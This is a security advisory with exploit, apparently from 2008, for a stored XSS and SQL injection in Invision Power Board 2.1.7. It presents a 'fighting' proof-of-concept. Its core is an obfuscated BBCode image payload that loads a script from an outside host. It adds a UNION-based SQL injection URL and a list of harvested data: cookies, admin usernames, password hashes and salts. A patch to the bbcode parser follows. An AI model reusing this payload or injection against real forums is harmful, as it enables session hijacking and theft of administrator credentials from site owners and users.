underwateritdefence.ru
Date: Sat Jan 05 2008 - 07:29:32 CST

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----[ INVISION POWER BOARD 2.1.7 EXPLOIT ... ITDefence.ru Antichat.ru ]

                                                INVISION POWER BOARD 2.1.7 ACTIVE XSS/SQL INJECTION
                                                        Eugene Minaev underwateritdefence.ru
                                ___________________________________________________________________
                        ____/ __ __ _______________________ _______ _______________ \ \ \
                        / .\ / /_// // / \ \/ __ \ /__/ /
                        / / /_// /\ / / / / /___/
                        \/ / / / / /\ / / /
                        / / \/ / / / / /__ //\
                        \ / ____________/ / \/ __________// /__ // /
                        /\\ \_______/ \________________/____/ 2007 /_//_/ // //\
                        \ \\ // // /
                        .\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
                        . \_\\________[________________________________________]_________//_//_/ . .
                 
                ----[ NITRO ... ]
                
                This vulnerability was already found before, but there was no available
                public "figting" exploit for it. This POC consists of several parts - active xss generator,
                JS-file, which will be caused at visiting page with xss, log viewer and special component,
                which will take necessary data from MySQL forum's tables in case if intercepted session
                belonged to the person with moderator privileges.
                
                ----[ ANALYSIS ... ]
                
                XSS.php is one of the most important part of IPB 2.1.7 POC package, as it generates xss for
                future injetion on the forum board. As the reference it is necessary to specify the full way
                up to ya.js file (in which you have already preliminary corrected way on your own). Most likely
                it is necessary only to press the button.
                
                [img]http://www.ya.ru/[snapback] onerror=script=document.createElement(String.fromCharCode(115,99,114,
                105,112,116)),script.src=/http:xxdaim.ruxmonzterxforum/.source.replace(/x/g,String.fromCharCode(47)),
                head=document.getElementsByTagName(String.fromCharCode(104,101,97,100)).item(0),head.appendChild(script)
                style=visibility:hidden =[/snapback].gif[/img]
                
                The injection can be executed only when there is available session of the user with access
                in moderator's panel.It is necessary to result "starter" parameter to numerical by means of "intval"
                function.In case of successfull injection there is an oppotunity to enumerate forums' administrators team:
                
                index.php?act=mod&f=-6&CODE=prune_finish&pergo=50&current=50&max=3&starter=1+union+select+1/*
                
                ----[ RECORD ... ]
                {
                
                        ---IP ADDRESS sniffed ip address
                        ---REFERER xssed theme
                        ---COOKIES xssed cookies of forum member
                        ---USER ID xssed user id of forum member
                        ---ADMIN NAME admin username
                        ---ADMIN PASS admin pass hash
                        ---ADMIN SALT admin hash salt
                        
                }
                
                ----[ PATCH ... ]
                
                FILE
                        sources/classes/bbcode/class_bbcode_core.php
                FUNCTION
                        regex_check_image
                LINE
                        924
                REPLACE
                        if ( preg_match( "/[?&;]/", $url) )
                ON
                        if ( preg_match( "/[?&;\<\[]/", $url) )
                        
                        
                FILE
                        sources/classes/bbcode/class_bbcode_core.php
                FUNCTION
                        post_db_parse_bbcode
                LINE
                        486
                REPLACE
                        preg_match_all( "#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si", $t, $match );
                ON
                        preg_match_all( "#(\[$preg_tag\])((?!\[/$preg_tag\]).+?)?(\[/$preg_tag\])#si", $t, $match );

                        if ( $row['bbcode_tag'] == 'snapback' )
                        {
                                $match[2][$i] = intval( $match[2][$i] );
                        }
                        
                        
                
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